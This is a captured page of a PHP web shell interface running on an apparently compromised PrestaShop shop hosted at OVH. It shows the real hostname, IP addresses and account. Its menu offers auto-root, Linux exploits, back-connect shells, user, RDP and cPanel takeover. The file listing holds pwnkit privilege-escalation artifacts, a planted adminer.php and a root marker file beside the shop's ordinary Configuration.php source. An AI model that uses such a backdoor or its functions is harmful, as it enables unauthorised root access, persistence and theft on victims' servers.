Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
alba-demenagements /
src /
Adapter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Addons
[ DIR ]
drwx---r-x
Address
[ DIR ]
drwx---r-x
Admin
[ DIR ]
drwx---r-x
Assets
[ DIR ]
drwx---r-x
Attachment
[ DIR ]
drwx---r-x
Attribute
[ DIR ]
drwx---r-x
AttributeGroup
[ DIR ]
drwx---r-x
Backup
[ DIR ]
drwx---r-x
BestSales
[ DIR ]
drwx---r-x
CMS
[ DIR ]
drwx---r-x
Cache
[ DIR ]
drwx---r-x
Carrier
[ DIR ]
drwx---r-x
Cart
[ DIR ]
drwx---r-x
CartRule
[ DIR ]
drwx---r-x
CatalogPriceRule
[ DIR ]
drwx---r-x
Category
[ DIR ]
drwx---r-x
Configuration
[ DIR ]
drwx---r-x
Contact
[ DIR ]
drwx---r-x
Container
[ DIR ]
drwx---r-x
Converter
[ DIR ]
drwx---r-x
Country
[ DIR ]
drwx---r-x
CreditSlip
[ DIR ]
drwx---r-x
Currency
[ DIR ]
drwx---r-x
Customer
[ DIR ]
drwx---r-x
CustomerService
[ DIR ]
drwx---r-x
Debug
[ DIR ]
drwx---r-x
Domain
[ DIR ]
drwx---r-x
Email
[ DIR ]
drwx---r-x
Employee
[ DIR ]
drwx---r-x
Feature
[ DIR ]
drwx---r-x
File
[ DIR ]
drwx---r-x
Form
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Geolocation
[ DIR ]
drwx---r-x
Grid
[ DIR ]
drwx---r-x
Group
[ DIR ]
drwx---r-x
Hook
[ DIR ]
drwx---r-x
Hosting
[ DIR ]
drwx---r-x
Image
[ DIR ]
drwx---r-x
Import
[ DIR ]
drwx---r-x
Invoice
[ DIR ]
drwx---r-x
Kpi
[ DIR ]
drwx---r-x
Language
[ DIR ]
drwx---r-x
Localization
[ DIR ]
drwx---r-x
Mail
[ DIR ]
drwx---r-x
MailTemplate
[ DIR ]
drwx---r-x
Manufacturer
[ DIR ]
drwx---r-x
Media
[ DIR ]
drwx---r-x
Meta
[ DIR ]
drwx---r-x
Module
[ DIR ]
drwx---r-x
NewProducts
[ DIR ]
drwx---r-x
News
[ DIR ]
drwx---r-x
Notification
[ DIR ]
drwx---r-x
Number
[ DIR ]
drwx---r-x
OptionalFeatures
[ DIR ]
drwx---r-x
Order
[ DIR ]
drwx---r-x
OrderMessage
[ DIR ]
drwx---r-x
OrderState
[ DIR ]
drwx---r-x
PDF
[ DIR ]
drwx---r-x
Pack
[ DIR ]
drwx---r-x
Preferences
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
PricesDrop
[ DIR ]
drwx---r-x
Product
[ DIR ]
drwx---r-x
Profile
[ DIR ]
drwx---r-x
Requirement
[ DIR ]
drwx---r-x
Routes
[ DIR ]
drwx---r-x
Routing
[ DIR ]
drwx---r-x
Search
[ DIR ]
drwx---r-x
Security
[ DIR ]
drwx---r-x
Shop
[ DIR ]
drwx---r-x
Smarty
[ DIR ]
drwx---r-x
SpecificPrice
[ DIR ]
drwx---r-x
SqlManager
[ DIR ]
drwx---r-x
Supplier
[ DIR ]
drwx---r-x
Support
[ DIR ]
drwx---r-x
System
[ DIR ]
drwx---r-x
Tab
[ DIR ]
drwx---r-x
Tax
[ DIR ]
drwx---r-x
TaxRulesGroup
[ DIR ]
drwx---r-x
Theme
[ DIR ]
drwx---r-x
Translations
[ DIR ]
drwx---r-x
Twig
[ DIR ]
drwx---r-x
Upload
[ DIR ]
drwx---r-x
Warehouse
[ DIR ]
drwx---r-x
Webservice
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressFactory.php
1.88
KB
-rw----r--
CacheManager.php
1.41
KB
-rw----r--
ClassLang.php
1.66
KB
-rw----r--
CombinationDataProvider.php
8.26
KB
-rw----r--
Configuration.php
9
KB
-rw----r--
ContainerBuilder.php
7.92
KB
-rw----r--
ContainerFinder.php
2.34
KB
-rw----r--
ContextStateManager.php
9.07
KB
-rw----r--
CoreException.php
1.2
KB
-rw----r--
Database.php
2.63
KB
-rw----r--
EntityMapper.php
4.83
KB
-rw----r--
EntityMetaDataRetriever.php
1.99
KB
-rw----r--
Environment.php
2.6
KB
-rw----r--
GeneralConfiguration.php
2.94
KB
-rw----r--
HookManager.php
3.15
KB
-rw----r--
ImageManager.php
4.09
KB
-rw----r--
LegacyContext.php
10.2
KB
-rw----r--
LegacyHookSubscriber.php
12.85
KB
-rw----r--
LegacyLogger.php
4.74
KB
-rw----r--
ObjectPresenter.php
1.3
KB
-rw----r--
RoundingMapper.php
2.46
KB
-rw----r--
ServiceLocator.php
1.93
KB
-rw----r--
StockManager.php
7.68
KB
-rw----r--
SymfonyContainer.php
1.88
KB
-rw----r--
Tools.php
7.21
KB
-rw----r--
Validate.php
3.2
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Configuration.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter; use Combination; use Configuration as ConfigurationLegacy; use Feature; use Language; use PrestaShop\PrestaShop\Core\Domain\Configuration\ShopConfigurationInterface; use PrestaShop\PrestaShop\Core\Domain\Shop\ValueObject\ShopConstraint; use PrestaShopBundle\Exception\NotImplementedException; use Shop; use Symfony\Component\HttpFoundation\ParameterBag; /** * Adapter of Configuration ObjectModel. */ class Configuration extends ParameterBag implements ShopConfigurationInterface { /** * @var Shop */ private $shop; public function __construct(array $parameters = []) { // Do nothing if (!empty($parameters)) { throw new \LogicException('No parameter can be handled in constructor. Use method set() instead.'); } } /** * @throws NotImplementedException */ public function all() { throw new NotImplementedException(); } /** * {@inheritdoc} */ public function keys() { return array_keys($this->all()); } /** * {@inheritdoc} */ public function replace(array $parameters = []) { $this->add($parameters); } /** * {@inheritdoc} */ public function add(array $parameters = []) { foreach ($parameters as $key => $value) { $this->set($key, $value); } } /** * Returns constant defined by given $key if exists or check directly into PrestaShop * \Configuration. * * @param string $key * @param mixed $default The default value if the parameter key does not exist * @param ShopConstraint|null $shopConstraint * * @return mixed */ public function get($key, $default = null, ShopConstraint $shopConstraint = null) { if (defined($key)) { return constant($key); } $shopId = $this->getShopId($shopConstraint); $shopGroupId = $this->getShopGroupId($shopConstraint); $isStrict = $this->isStrict($shopConstraint); //If configuration has never been accessed it is still empty and hasKey/isLangKey will always return false if (!ConfigurationLegacy::configurationIsLoaded()) { ConfigurationLegacy::loadConfiguration(); } // if the key is multi lang related, we return an array with the value per language. if (ConfigurationLegacy::isLangKey($key)) { return $this->getLocalized($key, $shopId, $shopGroupId); } // Since hasKey doesn't check manage the fallback shop > shop group > global, we handle it manually $hasKey = ConfigurationLegacy::hasKey($key, null, null, $shopId); if ($hasKey || $isStrict) { return $hasKey ? ConfigurationLegacy::get($key, null, null, $shopId) : null; } $hasKey = ConfigurationLegacy::hasKey($key, null, $shopGroupId); if ($hasKey || $isStrict) { return $hasKey ? ConfigurationLegacy::get($key, null, $shopGroupId) : null; } if ($hasKey = ConfigurationLegacy::hasKey($key) || $isStrict) { return $hasKey ? ConfigurationLegacy::get($key) : null; } return $default; } /** * Set configuration value. * * @param string $key * @param mixed $value * @param ShopConstraint|null $shopConstraint * @param array $options Options @deprecated Will be removed in next major * * @return $this * * @throws \Exception */ public function set($key, $value, ShopConstraint $shopConstraint = null, array $options = []) { // By default, set a piece of configuration for all available shops and shop groups $shopGroupId = null; $shopId = null; if ($this->shop instanceof Shop && null === $shopConstraint) { $shopGroupId = $this->shop->id_shop_group; $shopId = $this->shop->id; } else { $shopId = $this->getShopId($shopConstraint); $shopGroupId = $this->getShopGroupId($shopConstraint); } $html = isset($options['html']) ? (bool) $options['html'] : false; $success = ConfigurationLegacy::updateValue( $key, $value, $html, $shopGroupId, $shopId ); if (!$success) { throw new \Exception('Could not update configuration'); } return $this; } /** * {@inheritdoc} */ public function has($key, ShopConstraint $shopConstraint = null) { $shopId = $this->getShopId($shopConstraint); $shopGroupId = $this->getShopGroupId($shopConstraint); $isStrict = $this->isStrict($shopConstraint); $hasKey = ConfigurationLegacy::hasKey($key, null, null, $shopId); if ($hasKey || $isStrict) { return $hasKey; } $hasKey = ConfigurationLegacy::hasKey($key, null, $shopGroupId); if ($hasKey || $isStrict) { return $hasKey; } return ConfigurationLegacy::hasKey($key); } /** * Removes a configuration key. * * @param type $key * * @return type */ public function remove($key) { $success = \Configuration::deleteByName( $key ); if (!$success) { throw new \Exception('Could not update configuration'); } return $this; } /** * Unset configuration value. * * @param $key * * @return $this * * @throws \Exception * * @deprecated since version 1.7.4.0 */ public function delete($key) { $this->remove($key); } /** * {@inheritdoc} */ public function getIterator() { return new \ArrayIterator($this->all()); } /** * {@inheritdoc} */ public function count() { return count($this->all()); } /** * Return if Feature feature is active or not. * * @return bool */ public function featureIsActive() { return Feature::isFeatureActive(); } /** * Return if Combination feature is active or not. * * @return bool */ public function combinationIsActive() { return Combination::isFeatureActive(); } /** * Restrict updates of a piece of configuration to a single shop. * * @param Shop $shop */ public function restrictUpdatesTo(Shop $shop) { $this->shop = $shop; } /** * Get localized configuration in all languages * * @param string $key * @param int|null $shopId * @param int|null $shopGroupId * * @return array Array of langId => localizedConfiguration */ private function getLocalized($key, ?int $shopId = null, ?int $shopGroupId = null) { $configuration = []; foreach (Language::getIDs(false, $shopId ?: false) as $langId) { $configuration[$langId] = ConfigurationLegacy::get($key, $langId, $shopGroupId, $shopId); } return $configuration; } /** * @param ShopConstraint|null $shopConstraint * * @return int|null */ private function getShopId(?ShopConstraint $shopConstraint): ?int { return null !== $shopConstraint && null !== $shopConstraint->getShopId() ? $shopConstraint->getShopId()->getValue() : null ; } /** * @param ShopConstraint|null $shopConstraint * * @return int|null */ private function getShopGroupId(?ShopConstraint $shopConstraint): ?int { return null !== $shopConstraint && null !== $shopConstraint->getShopGroupId() ? $shopConstraint->getShopGroupId()->getValue() : null ; } /** * @param ShopConstraint|null $shopConstraint * * @return bool */ private function isStrict(?ShopConstraint $shopConstraint): bool { return null !== $shopConstraint ? $shopConstraint->isStrict() : false; } }
Close